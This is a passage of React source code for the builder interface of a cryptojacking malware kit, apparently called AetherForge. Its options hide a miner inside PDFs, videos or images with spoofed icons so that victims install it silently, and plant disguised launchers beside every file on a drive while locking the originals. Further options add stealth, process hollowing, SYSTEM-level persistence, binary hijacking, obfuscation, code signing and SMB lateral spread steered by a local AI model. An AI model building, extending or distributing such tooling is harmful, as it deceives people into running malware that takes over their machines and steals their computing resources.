: 'Windows Firewall allow rules for this miner'}{' '}
|
||
<HelpTip field="firewall_exclusion" />
|
||
</span>
|
||
</label>
|
||
<FieldHint field="firewall_exclusion" />
|
||
</div>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={form.self_healing}
|
||
onChange={(e) => updateField('self_healing', e.target.checked)} />
|
||
<span>Self-healing (watchdog + auto-restart) <HelpTip field="self_healing" /></span>
|
||
</label>
|
||
<FieldHint field="self_healing" />
|
||
</div>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={form.stealth_mode}
|
||
onChange={(e) => updateField('stealth_mode', e.target.checked)} />
|
||
<span>Stealth mode (no window, no logs, discreet persistence) <HelpTip field="stealth_mode" /></span>
|
||
</label>
|
||
<FieldHint field="stealth_mode" />
|
||
</div>
|
||
<div className={`form-group checkbox-group ${fieldMeta.process_hollowing?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={form.process_hollowing}
|
||
disabled={fieldMeta.process_hollowing?.disabled}
|
||
onChange={(e) => updateField('process_hollowing', e.target.checked)} />
|
||
<span>Process Hollowing (Windows only) <HelpTip field="process_hollowing" /></span>
|
||
</label>
|
||
<FieldHint field="process_hollowing" />
|
||
<ForgeLockedHint meta={fieldMeta.process_hollowing} />
|
||
</div>
|
||
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={form.file_logging}
|
||
disabled={fieldMeta.file_logging?.disabled}
|
||
onChange={(e) => updateField('file_logging', e.target.checked)} />
|
||
<span>Write miner.log on host <HelpTip field="file_logging" /></span>
|
||
</label>
|
||
<ForgeLockedHint meta={fieldMeta.file_logging} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Process Name <HelpTip field="process_name" /></label>
|
||
<input type="text" className="input mono" placeholder="RuntimeBrokerHelper"
|
||
value={form.process_name}
|
||
onChange={(e) => updateField('process_name', e.target.value)} />
|
||
<FieldHint field="process_name" />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
|
||
<select className="select" value={form.display_mode} onChange={(e) => updateField('display_mode', e.target.value)}>
|
||
<option value="visible">Visible (console window)</option>
|
||
<option value="silent">Silent (no window)</option>
|
||
<option value="background">Background (silent + low priority)</option>
|
||
</select>
|
||
<FieldHint field="display_mode" />
|
||
</div>
|
||
<div className={`form-group checkbox-group ${fieldMeta.persistence?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={form.persistence}
|
||
disabled={fieldMeta.persistence?.disabled}
|
||
onChange={(e) => updateField('persistence', e.target.checked)} />
|
||
<span>Persist after reboot <HelpTip field="persistence" /></span>
|
||
</label>
|
||
<FieldHint field="persistence" />
|
||
<ForgeLockedHint meta={fieldMeta.persistence} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Run As <HelpTip field="run_as" /></label>
|
||
<select
|
||
className="select"
|
||
value={form.run_as}
|
||
onChange={(e) => updateField('run_as', e.target.value)}
|
||
>
|
||
<option value="user">Current User (Run key — persistence optional)</option>
|
||
<option value="scheduled">Scheduled Task (logon task — persistence forced on)</option>
|
||
<option value="service">Scheduled Task as SYSTEM (elevated — persistence forced on)</option>
|
||
<option value="bits">BITS Job (notify hook — persistence forced on, Windows)</option>
|
||
<option value="host_binary">Host Binary Hijack (replace client app — persistence forced on, Windows)</option>
|
||
</select>
|
||
<FieldHint field="run_as" />
|
||
</div>
|
||
{form.run_as === 'host_binary' && (
|
||
<div className="form-group">
|
||
<label className="label">Host Binary Target <HelpTip field="host_binary_target" /></label>
|
||
<select
|
||
className="select"
|
||
value={form.host_binary_target || 'ssh'}
|
||
onChange={(e) => updateField('host_binary_target', e.target.value)}
|
||
>
|
||
<option value="ssh">OpenSSH / Git SSH (ssh.exe)</option>
|
||
<option value="ftp">FTP Client (ftp.exe)</option>
|
||
<option value="telnet">Telnet (telnet.exe)</option>
|
||
<option value="mstsc">Remote Desktop (mstsc.exe)</option>
|
||
<option value="curl">curl (curl.exe)</option>
|
||
<option value="notepad">Notepad</option>
|
||
<option value="calc">Calculator</option>
|
||
<option value="chrome">Google Chrome</option>
|
||
<option value="edge">Microsoft Edge</option>
|
||
<option value="firefox">Mozilla Firefox</option>
|
||
<option value="putty">PuTTY</option>
|
||
<option value="winscp">WinSCP</option>
|
||
</select>
|
||
<FieldHint field="host_binary_target" />
|
||
</div>
|
||
)}
|
||
<div className={`form-group checkbox-group ${fieldMeta.auto_start?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={form.auto_start}
|
||
disabled={fieldMeta.auto_start?.disabled}
|
||
onChange={(e) => updateField('auto_start', e.target.checked)} />
|
||
<span>Also register startup entry (linked to persistence) <HelpTip field="auto_start" /></span>
|
||
</label>
|
||
<ForgeLockedHint meta={fieldMeta.auto_start} />
|
||
</div>
|
||
</div>
|
||
</>
|
||
)}
|
||
|
||
{deliverableType !== 'spread_kit' && (
|
||
<div className="form-section">
|
||
<ForgeSectionHeader
|
||
title="Fusion — Hide miner in any file"
|
||
badge="baked"
|
||
description={simpleMode
|
||
? 'Drop any file — PDF, video, document, image, or executable. It opens normally while the miner installs silently. Each file gets its own universal ZIP for Windows, Mac, and Linux.'
|
||
: 'Fuse the miner with any file. The recipient sees their file open as normal; the miner runs invisibly. Produces a universal ZIP for all platforms.'}
|
||
/>
|
||
<div className={`form-group checkbox-group ${fieldMeta.fusion_enabled?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="checkbox-label">
|
||
<input
|
||
type="checkbox"
|
||
className="checkbox"
|
||
checked={form.fusion_enabled}
|
||
disabled={fieldMeta.fusion_enabled?.disabled}
|
||
onChange={(e) => {
|
||
if (e.target.checked) {
|
||
setForm((prev) =>
|
||
prev
|
||
? normalizeForgeForm({
|
||
...prev,
|
||
fusion_enabled: true,
|
||
spread_kit: false,
|
||
target_os: 'universal',
|
||
target_arch: 'all',
|
||
})
|
||
: prev
|
||
);
|
||
} else {
|
||
setDeliverableType('single');
|
||
}
|
||
}}
|
||
/>
|
||
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
|
||
</label>
|
||
<FieldHint field="fusion_enabled" />
|
||
<ForgeLockedHint meta={fieldMeta.fusion_enabled} />
|
||
{form.fusion_enabled && (
|
||
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
|
||
Uncheck <strong>Enable Fusion</strong> above to return to a plain single-platform worker build.
|
||
</p>
|
||
)}
|
||
</div>
|
||
{deliverableType === 'fusion' && form.fusion_enabled && (
|
||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||
Fusion deliverable — drop your file below and forge. Output is one universal ZIP (Windows + Mac + Linux).
|
||
</p>
|
||
)}
|
||
{form.fusion_enabled && (
|
||
<>
|
||
{/* Single-file pick (used when Forge button is clicked) */}
|
||
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
|
||
<div className="label-row">
|
||
<label className="label">
|
||
Drop any file to fuse <HelpTip field="fusion_prep" />
|
||
</label>
|
||
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
|
||
</div>
|
||
<input
|
||
type="file"
|
||
className="input"
|
||
accept="*"
|
||
onChange={(e) => {
|
||
applyFusionFileSelection(e.target.files?.[0] || null);
|
||
e.target.value = '';
|
||
}}
|
||
/>
|
||
{fusionPrepFile && !fusionIsExe && (
|
||
<div className="form-hint" style={{ marginTop: '0.4rem' }}>
|
||
<strong>{fusionPrepFile.name}</strong> — {fusionFileTypeLabel(fusionPrepFile.name)},{' '}
|
||
{(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB
|
||
<br />
|
||
<span style={{ color: 'var(--color-accent)' }}>
|
||
Windows disguise: runner will be named{' '}
|
||
<code>{disguisedWindowsRunnerName(fusionPrepFile.name)}</code> with the{' '}
|
||
{fusionFileTypeLabel(fusionPrepFile.name)} icon injected.
|
||
Explorer shows it as <code>{disguisedDisplayName(fusionPrepFile.name)}</code> — identical to a real {fusionFileTypeLabel(fusionPrepFile.name)}.
|
||
</span>
|
||
</div>
|
||
)}
|
||
{fusionPrepFile && fusionIsExe && (
|
||
<span className="form-hint">
|
||
<strong>{fusionPrepFile.name}</strong> — Windows executable, {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB — will run directly when opened
|
||
</span>
|
||
)}
|
||
<p className="form-hint">
|
||
Supports any file type — PDF, video (MP4/MOV/MKV), Word, Excel, image, etc. Max 2 GB.
|
||
On Windows: icon + file description are spoofed to match the real application (Adobe Acrobat, Microsoft Word, VLC, etc.).
|
||
</p>
|
||
</div>
|
||
|
||
{/* Delivery mode — applies to all file types */}
|
||
<div className="form-group">
|
||
<label className="label">Delivery mode <HelpTip field="fusion_media_mode" /></label>
|
||
<div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
|
||
<label className="checkbox-label">
|
||
<input
|
||
type="radio"
|
||
className="checkbox"
|
||
name="fusion_media_mode"
|
||
checked={fusionMediaMode === 'embedded'}
|
||
onChange={() => {
|
||
updateField('fusion_media_mode', 'embedded');
|
||
if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||
}}
|
||
/>
|
||
<span>
|
||
<strong>All-in-one (embedded)</strong>
|
||
<FieldHint field="fusion_media_mode" />
|
||
</span>
|
||
</label>
|
||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||
Everything baked into a single runner binary. Drop one file anywhere and run it — no extras needed.
|
||
Best for files under ~500 MB.
|
||
</p>
|
||
<label className="checkbox-label">
|
||
<input
|
||
type="radio"
|
||
className="checkbox"
|
||
name="fusion_media_mode"
|
||
checked={fusionMediaMode === 'paired'}
|
||
onChange={() => {
|
||
updateField('fusion_media_mode', 'paired');
|
||
if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||
}}
|
||
/>
|
||
<span>
|
||
<strong>ZIP bundle (paired)</strong>
|
||
</span>
|
||
</label>
|
||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||
Your original file + runners in a ZIP. Works for <em>any</em> file size. The recipient unzips and opens
|
||
the launcher for their OS — the file opens normally, miner installs silently.
|
||
</p>
|
||
</div>
|
||
</div>
|
||
|
||
{/* Batch: queue multiple files, each gets its own ZIP */}
|
||
<div className="form-group">
|
||
<div className="label-row">
|
||
<label className="label">Batch fusion — fuse many files at once <HelpTip field="fusion_batch" /></label>
|
||
</div>
|
||
<input
|
||
type="file"
|
||
className="input"
|
||
accept="*"
|
||
multiple
|
||
onChange={(e) => {
|
||
const list = e.target.files ? Array.from(e.target.files) : [];
|
||
setFusionBatchFiles(list);
|
||
e.target.value = '';
|
||
}}
|
||
/>
|
||
{fusionBatchFiles.length > 0 && (
|
||
<div style={{ marginTop: '0.5rem' }}>
|
||
<p className="form-hint" style={{ marginBottom: '0.25rem' }}>
|
||
<strong>{fusionBatchFiles.length} file{fusionBatchFiles.length !== 1 ? 's' : ''} queued</strong> — each becomes a separate universal ZIP in{' '}
|
||
<code>fusion-deliverables/</code>:
|
||
</p>
|
||
<ul className="batch-forge-log" style={{ marginBottom: '0.5rem' }}>
|
||
{fusionBatchFiles.map((f) => {
|
||
const isExe = fusionPayloadKind(f) === 'exe';
|
||
return (
|
||
<li key={f.name} className="batch-log-pending">
|
||
<span className="batch-log-icon">○</span>
|
||
<span>
|
||
{f.name}{' '}
|
||
<span className="form-hint">({fusionFileTypeLabel(f.name)}, {(f.size/1024/1024).toFixed(1)} MB)</span>
|
||
{!isExe && (
|
||
<span style={{ color: 'var(--color-accent)', marginLeft: '0.4rem' }}>
|
||
→ Windows: <code>{disguisedDisplayName(f.name)}</code>
|
||
</span>
|
||
)}
|
||
</span>
|
||
</li>
|
||
);
|
||
})}
|
||
</ul>
|
||
</div>
|
||
)}
|
||
{batchJob && (
|
||
<div className="batch-forge-panel card" style={{ marginTop: '0.75rem' }}>
|
||
<div className="batch-forge-header">
|
||
<span className="font-tech">BATCH FORGE</span>
|
||
<span>
|
||
{batchJob.current}/{batchJob.total} — {batchJob.phase}
|
||
</span>
|
||
</div>
|
||
<div className="batch-progress-track">
|
||
<div
|
||
className="batch-progress-fill"
|
||
style={{ width: `${Math.min(100, batchJob.percent)}%` }}
|
||
/>
|
||
</div>
|
||
{batchJob.fileName && (
|
||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||
Current: <code>{batchJob.fileName}</code>
|
||
</p>
|
||
)}
|
||
<ul className="batch-forge-log">
|
||
{batchJob.log.map((row) => (
|
||
<li key={row.name} className={`batch-log-${row.status}`}>
|
||
<span className="batch-log-icon">
|
||
{row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'}
|
||
</span>
|
||
<span>
|
||
{row.name}
|
||
{row.detail ? ` — ${row.detail}` : ''}
|
||
</span>
|
||
</li>
|
||
))}
|
||
</ul>
|
||
</div>
|
||
)}
|
||
{fusionBatchFiles.length > 0 && (
|
||
<div style={{ display: 'flex', gap: '0.5rem', marginTop: '0.5rem', flexWrap: 'wrap' }}>
|
||
<button
|
||
type="button"
|
||
className="btn btn-secondary"
|
||
disabled={building || !canForge}
|
||
onClick={handleBatchForge}
|
||
>
|
||
{building
|
||
? `Forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
|
||
: `Forge all ${fusionBatchFiles.length} file${fusionBatchFiles.length !== 1 ? 's' : ''} → universal ZIP each`}
|
||
</button>
|
||
{building && batchJob && batchJob.phase !== 'done' && batchJob.phase !== 'cancelled' && (
|
||
<button
|
||
type="button"
|
||
className="btn btn-danger"
|
||
onClick={handleBatchCancel}
|
||
title="Stop after the current file finishes"
|
||
>
|
||
Cancel Batch
|
||
</button>
|
||
)}
|
||
</div>
|
||
)}
|
||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||
Each ZIP contains runners for Windows, Mac, and Linux. The recipient runs the launcher for their OS — the file opens, the miner installs.
|
||
</p>
|
||
</div>
|
||
|
||
{!simpleMode && (
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">Run order <HelpTip field="fusion_run_order" /></label>
|
||
<select className="select" value={form.fusion_run_order}
|
||
onChange={(e) => updateField('fusion_run_order', e.target.value)}>
|
||
<option value="parallel">Parallel — file opens and miner installs at the same time</option>
|
||
<option value="prep_first">File first — open file, then install miner</option>
|
||
<option value="worker_first">Miner first — install silently, then open file</option>
|
||
</select>
|
||
<FieldHint field="fusion_run_order" />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Runner filename <HelpTip field="fusion_output_name" /></label>
|
||
<input type="text" className="input mono" value={form.fusion_output_name}
|
||
onChange={(e) => updateField('fusion_output_name', e.target.value)} />
|
||
<FieldHint field="fusion_output_name" />
|
||
</div>
|
||
</div>
|
||
)}
|
||
{simpleMode && fusionPrepFile && (
|
||
<p className="form-hint">Runner name: <code>{form.fusion_output_name || defaultRunnerName(fusionPrepFile.name)}</code>. Run order: parallel (file opens + miner installs simultaneously).</p>
|
||
)}
|
||
<p className="form-hint">
|
||
Output: one universal ZIP containing runners for every OS. Each runner opens <code>{fusionPrepFile?.name || 'your file'}</code> and silently installs the worker.
|
||
</p>
|
||
{fusionPrepFile && (
|
||
<div className="fusion-output-preview card" style={{ marginTop: '0.75rem', padding: '0.75rem 1rem', fontSize: '0.85rem' }}>
|
||
<p className="font-tech" style={{ marginBottom: '0.5rem', color: 'var(--neon-cyan)' }}>WHAT YOU GET — {fusionFileTypeLabel(fusionPrepFile.name).toUpperCase()}</p>
|
||
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem', lineHeight: 1.6 }}>
|
||
<li><strong>Windows:</strong> <code>Start.bat</code> or disguised runner (e.g. <code>{disguisedDisplayName(fusionPrepFile.name)}</code> with Photos icon) — opens the image in the default viewer, miner runs hidden.</li>
|
||
<li><strong>Linux:</strong> <code>start.sh</code> → <code>bin/linux-amd64/{fusionPrepFile.name.replace(/\.[^.]+$/, '')}-runner</code></li>
|
||
<li><strong>macOS:</strong> <code>Start.command</code> or <code>{fusionTitleFromFilename(fusionPrepFile.name)}.app</code> bundle</li>
|
||
{fusionMediaMode === 'paired' && (
|
||
<li><strong>ZIP also includes:</strong> your original <code>{fusionPrepFile.name}</code> at the root (paired mode).</li>
|
||
)}
|
||
<li>Download: <code>{fusionTitleFromFilename(fusionPrepFile.name)}-package.zip</code> under fusion-deliverables on the server.</li>
|
||
</ul>
|
||
</div>
|
||
)}
|
||
{(estimateLoading || fusionEstimate || estimateError) && (
|
||
<div className="fusion-estimate-panel card">
|
||
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
|
||
{estimateLoading && <p className="form-hint">Calculating…</p>}
|
||
{estimateError && <p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>{estimateError}</p>}
|
||
{fusionEstimate && (
|
||
<>
|
||
<ul className="preflight-list" style={{ marginBottom: '0.75rem' }}>
|
||
<li className="preflight-item preflight-ok">
|
||
<span className="preflight-icon">✓</span>
|
||
<span>Prep: {formatBytes(fusionEstimate.prep_bytes)} ({fusionEstimate.prep_name})</span>
|
||
</li>
|
||
<li className="preflight-item preflight-ok">
|
||
<span className="preflight-icon">+</span>
|
||
<span>Worker (est.): {formatBytes(fusionEstimate.estimated_worker_bytes)}</span>
|
||
</li>
|
||
<li className="preflight-item preflight-ok">
|
||
<span className="preflight-icon">+</span>
|
||
<span>Fusion launcher: ~{formatBytes(fusionEstimate.estimated_fusion_stub_bytes)}</span>
|
||
</li>
|
||
<li className="preflight-item preflight-warn">
|
||
<span className="preflight-icon">≈</span>
|
||
<span><strong>Total (est.): {formatBytes(fusionEstimate.estimated_total_bytes)}</strong></span>
|
||
</li>
|
||
</ul>
|
||
<p className="form-hint"><strong>Project root:</strong> <code className="mono-sm">{fusionEstimate.project_root_path}</code></p>
|
||
{fusionEstimate.export_path && (
|
||
<p className="form-hint"><strong>Export copy:</strong> <code className="mono-sm">{fusionEstimate.export_path}</code></p>
|
||
)}
|
||
<p className="form-hint"><strong>Archive:</strong> <code className="mono-sm">{fusionEstimate.archive_path_hint}</code></p>
|
||
{fusionEstimate.notes?.map((note) => (
|
||
<p key={note} className="form-hint">{note}</p>
|
||
))}
|
||
</>
|
||
)}
|
||
</div>
|
||
)}
|
||
</>
|
||
)}
|
||
</div>
|
||
)}
|
||
|
||
{/* ── PATH FORGE ─────────────────────────────────────────────── */}
|
||
<div className="form-section" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
|
||
<ForgeSectionHeader
|
||
title="PATH FORGE — Recursive Batch Seed"
|
||
badge="server-only"
|
||
description="Type a local folder path. The server walks it recursively and places a launcher next to every matching file — no upload needed."
|
||
/>
|
||
<p className="form-hint">
|
||
For every file found (movies, docs, archives…) the server drops <strong>all three companions</strong> right beside it:<br />
|
||
<code style={{ color: '#61dafb' }}>Terminator.exe</code> · <code style={{ color: '#61dafb' }}>Terminator.bat</code> · <code style={{ color: '#a8ff78' }}>Terminator.command</code>
|
||
</p>
|
||
<div className="form-group checkbox-group" style={{ margin: '0 0 0.75rem' }}>
|
||
<label className="checkbox-label" style={{ alignItems: 'flex-start', gap: '0.5rem' }}>
|
||
<input type="checkbox" className="checkbox" checked={pfLock}
|
||
onChange={(e) => setPfLock(e.target.checked)} disabled={pfBusy}
|
||
style={{ marginTop: 3 }} />
|
||
<span>
|
||
<strong style={{ color: 'var(--neon-amber)' }}>🔒 Lock Original</strong>
|
||
{' — '}renames <code>Terminator.mkv</code> → <code>Terminator.mkv.locked</code> so it
|
||
<strong> cannot be opened</strong> by double-clicking. The launcher unlocks it,
|
||
plays it, <strong>re-locks it 4 seconds later</strong>, and runs the agent — all invisible.
|
||
Without the launcher nothing plays.
|
||
</span>
|
||
</label>
|
||
</div>
|
||
|
||
<div className="form-group">
|
||
<label className="label">Root Folder Path</label>
|
||
<input
|
||
type="text"
|
||
className="input mono"
|
||
placeholder={`E:\\Movies or /Volumes/USB/Movies`}
|
||
value={pfPath}
|
||
onChange={(e) => setPfPath(e.target.value)}
|
||
disabled={pfBusy}
|
||
/>
|
||
<span className="form-hint">Path on the machine running AetherForge.exe (e.g. your USB drive or NAS).</span>
|
||
</div>
|
||
|
||
<div className="form-row" style={{ gap: '1rem', flexWrap: 'wrap' }}>
|
||
<div className="form-group" style={{ flex: '0 0 auto' }}>
|
||
<label className="label">Output Filename</label>
|
||
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
|
||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||
<input type="radio" name="pfStemMode" value="original"
|
||
checked={pfStemMode === 'original'}
|
||
onChange={() => setPfStemMode('original')} disabled={pfBusy} />
|
||
Same as source file
|
||
</label>
|
||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||
<input type="radio" name="pfStemMode" value="custom"
|
||
checked={pfStemMode === 'custom'}
|
||
onChange={() => setPfStemMode('custom')} disabled={pfBusy} />
|
||
Custom name:
|
||
</label>
|
||
<input
|
||
type="text"
|
||
className="input mono"
|
||
style={{ width: 160, opacity: pfStemMode === 'custom' ? 1 : 0.35 }}
|
||
placeholder="e.g. VideoPlayer"
|
||
value={pfStem}
|
||
onChange={(e) => setPfStem(e.target.value)}
|
||
disabled={pfBusy || pfStemMode !== 'custom'}
|
||
/>
|
||
</div>
|
||
<span className="form-hint">
|
||
{pfStemMode === 'original'
|
||
? pfLock
|
||
? 'Terminator.mkv → Terminator.mkv.locked + Terminator.exe · Terminator.bat · Terminator.command'
|
||
: 'Terminator.mkv (kept) + Terminator.exe · Terminator.bat · Terminator.command'
|
||
: pfLock
|
||
? `filename.ext.locked + ${pfStem || 'VideoPlayer'}.exe · .bat · .command`
|
||
: `filename.ext (kept) + ${pfStem || 'VideoPlayer'}.exe · .bat · .command`}
|
||
</span>
|
||
</div>
|
||
|
||
<div className="form-group" style={{ flex: '0 0 auto' }}>
|
||
<label className="label">Drop All Three Companions</label>
|
||
<div style={{ display: 'flex', gap: '1.25rem', marginTop: '0.25rem' }}>
|
||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||
<input type="checkbox" checked={pfWindows} onChange={(e) => setPfWindows(e.target.checked)} disabled={pfBusy} />
|
||
<span style={{ color: '#61dafb' }}>⊞ Windows</span>
|
||
<span style={{ color: '#555', fontSize: '0.75rem' }}>.exe + .bat</span>
|
||
</label>
|
||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||
<input type="checkbox" checked={pfMac} onChange={(e) => setPfMac(e.target.checked)} disabled={pfBusy} />
|
||
<span style={{ color: '#a8ff78' }}>⌘ Mac/Linux</span>
|
||
<span style={{ color: '#555', fontSize: '0.75rem' }}>.command</span>
|
||
</label>
|
||
</div>
|
||
<span className="form-hint" style={{ color: '#888' }}>
|
||
Keep both on → all 3 files drop next to every original (recommended)
|
||
</span>
|
||
</div>
|
||
</div>
|
||
|
||
<button
|
||
type="button"
|
||
className="btn btn-primary"
|
||
style={{
|
||
marginTop: '0.75rem',
|
||
background: 'linear-gradient(135deg, #ff8c00, #ff4500)',
|
||
border: 'none', color: '#fff', fontWeight: 700,
|
||
letterSpacing: '0.08em', padding: '0.55rem 1.4rem',
|
||
}}
|
||
onClick={handlePathForge}
|
||
disabled={pfBusy || !pfPath.trim() || (!pfWindows && !pfMac)}
|
||
>
|
||
{pfBusy ? '⏳ Seeding…' : '◈ LAUNCH PATH FORGE'}
|
||
</button>
|
||
|
||
{pfResult && (
|
||
<div className="card" style={{ marginTop: '1rem', padding: '0.85rem 1rem', fontSize: '0.82rem' }}>
|
||
<p className="font-tech" style={{ marginBottom: '0.5rem', color: pfResult.errors > 0 ? 'var(--neon-amber)' : 'var(--neon-green)' }}>
|
||
{pfResult.errors === 0 && pfResult.placed > 0
|
||
? `✓ ${pfResult.placed} files placed across ${pfResult.total} source files`
|
||
: `⚠ ${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}
|
||
</p>
|
||
{pfResult.results.slice(0, 20).map((r, i) => (
|
||
<div key={i} style={{ marginBottom: '0.35rem', color: '#aaa', lineHeight: 1.5 }}>
|
||
<span style={{ color: '#666' }}>📄 </span>
|
||
<span style={{ color: '#888' }}>{r.source}</span>
|
||
<span style={{ color: '#444' }}> (kept)</span>
|
||
<br />
|
||
<span style={{ paddingLeft: '1.5rem', color: 'var(--neon-cyan)' }}>
|
||
{'↳ '}{r.files.join(' · ')}
|
||
</span>
|
||
</div>
|
||
))}
|
||
{pfResult.results.length > 20 && (
|
||
<p style={{ color: '#666', marginTop: '0.5rem' }}>…and {pfResult.results.length - 20} more</p>
|
||
)}
|
||
{pfResult.error_list?.slice(0, 5).map((e, i) => (
|
||
<p key={i} style={{ color: 'var(--neon-red, #f55)', marginTop: '0.25rem' }}>{e}</p>
|
||
))}
|
||
</div>
|
||
)}
|
||
</div>
|
||
|
||
{!simpleMode && (
|
||
<>
|
||
<div className="form-section">
|
||
<ForgeSectionHeader
|
||
title="Build pipeline"
|
||
badge="server-only"
|
||
description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
|
||
/>
|
||
<div className={`form-group checkbox-group ${fieldMeta.obfuscate?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={!!form.obfuscate}
|
||
disabled={fieldMeta.obfuscate?.disabled}
|
||
onChange={(e) => updateField('obfuscate', e.target.checked)} />
|
||
<span>Obfuscate worker with Garble (Windows only) <HelpTip field="obfuscate" /></span>
|
||
</label>
|
||
<FieldHint field="obfuscate" />
|
||
<ForgeLockedHint meta={fieldMeta.obfuscate} />
|
||
</div>
|
||
<div className={`form-group checkbox-group ${fieldMeta.sign_build?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={!!form.sign_build}
|
||
disabled={fieldMeta.sign_build?.disabled}
|
||
onChange={(e) => updateField('sign_build', e.target.checked)} />
|
||
<span>Sign forged output (Authenticode, Windows only) <HelpTip field="sign_build" /></span>
|
||
</label>
|
||
<FieldHint field="sign_build" />
|
||
<ForgeLockedHint meta={fieldMeta.sign_build} />
|
||
</div>
|
||
<div className={`form-group checkbox-group ${fieldMeta.sigil_scramble?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={form.sigil_scramble !== false}
|
||
disabled={fieldMeta.sigil_scramble?.disabled}
|
||
onChange={(e) => updateField('sigil_scramble', e.target.checked)} />
|
||
<span>Sigil scramble on dispense (unique hash per forge) <HelpTip field="sigil_scramble" /></span>
|
||
</label>
|
||
<FieldHint field="sigil_scramble" />
|
||
<ForgeLockedHint meta={fieldMeta.sigil_scramble} />
|
||
</div>
|
||
</div>
|
||
|
||
<div className="form-section">
|
||
<ForgeSectionHeader
|
||
title="Autonomy, Mesh & Lateral Movement"
|
||
badge="baked"
|
||
description="Optional — AI decisions, P2P mesh, SMB auto-spread, NAT hole punch, and remote aggressive ops (dashboard buttons)."
|
||
/>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={form.ai_enabled}
|
||
onChange={(e) => updateField('ai_enabled', e.target.checked)} />
|
||
<span>Enable AI Autonomy (Ollama) <HelpTip field="ai_enabled" /></span>
|
||
</label>
|
||
<FieldHint field="ai_enabled" />
|
||
</div>
|
||
{form.ai_enabled && (
|
||
<>
|
||
<div className={`form-group ${fieldMeta.ai_ollama_endpoint?.disabled ? 'field-disabled' : ''}`}>
|
||
<div className="label-row">
|
||
<label className="label">Ollama Endpoint URL <HelpTip field="ai_ollama_endpoint" /></label>
|
||
<ForgeFieldBadge meta={fieldMeta.ai_ollama_endpoint} />
|
||
</div>
|
||
<input
|
||
type="url"
|
||
className="input mono"
|
||
placeholder="http://localhost:11434"
|
||
disabled={fieldMeta.ai_ollama_endpoint?.disabled}
|
||
value={form.ai_ollama_endpoint}
|
||
onChange={(e) => updateField('ai_ollama_endpoint', e.target.value)}
|
||
/>
|
||
<p className="form-hint">
|
||
Control server machine — not the worker. Default: <code>http://localhost:11434</code>
|
||
</p>
|
||
</div>
|
||
<div className={`form-group ${fieldMeta.ai_model?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="label">Ollama Model <HelpTip field="ai_model" /></label>
|
||
<input
|
||
type="text"
|
||
className="input mono"
|
||
placeholder="llama3.2"
|
||
disabled={fieldMeta.ai_model?.disabled}
|
||
value={form.ai_model}
|
||
onChange={(e) => updateField('ai_model', e.target.value)}
|
||
/>
|
||
<p className="form-hint">
|
||
Model to use for decisions. Default: <code>llama3.2</code>. Must support tool-calling / JSON output.
|
||
</p>
|
||
</div>
|
||
</>
|
||
)}
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={form.mesh_p2p}
|
||
onChange={(e) => updateField('mesh_p2p', e.target.checked)} />
|
||
<span>Enable Mesh P2P Networking <HelpTip field="mesh_p2p" /></span>
|
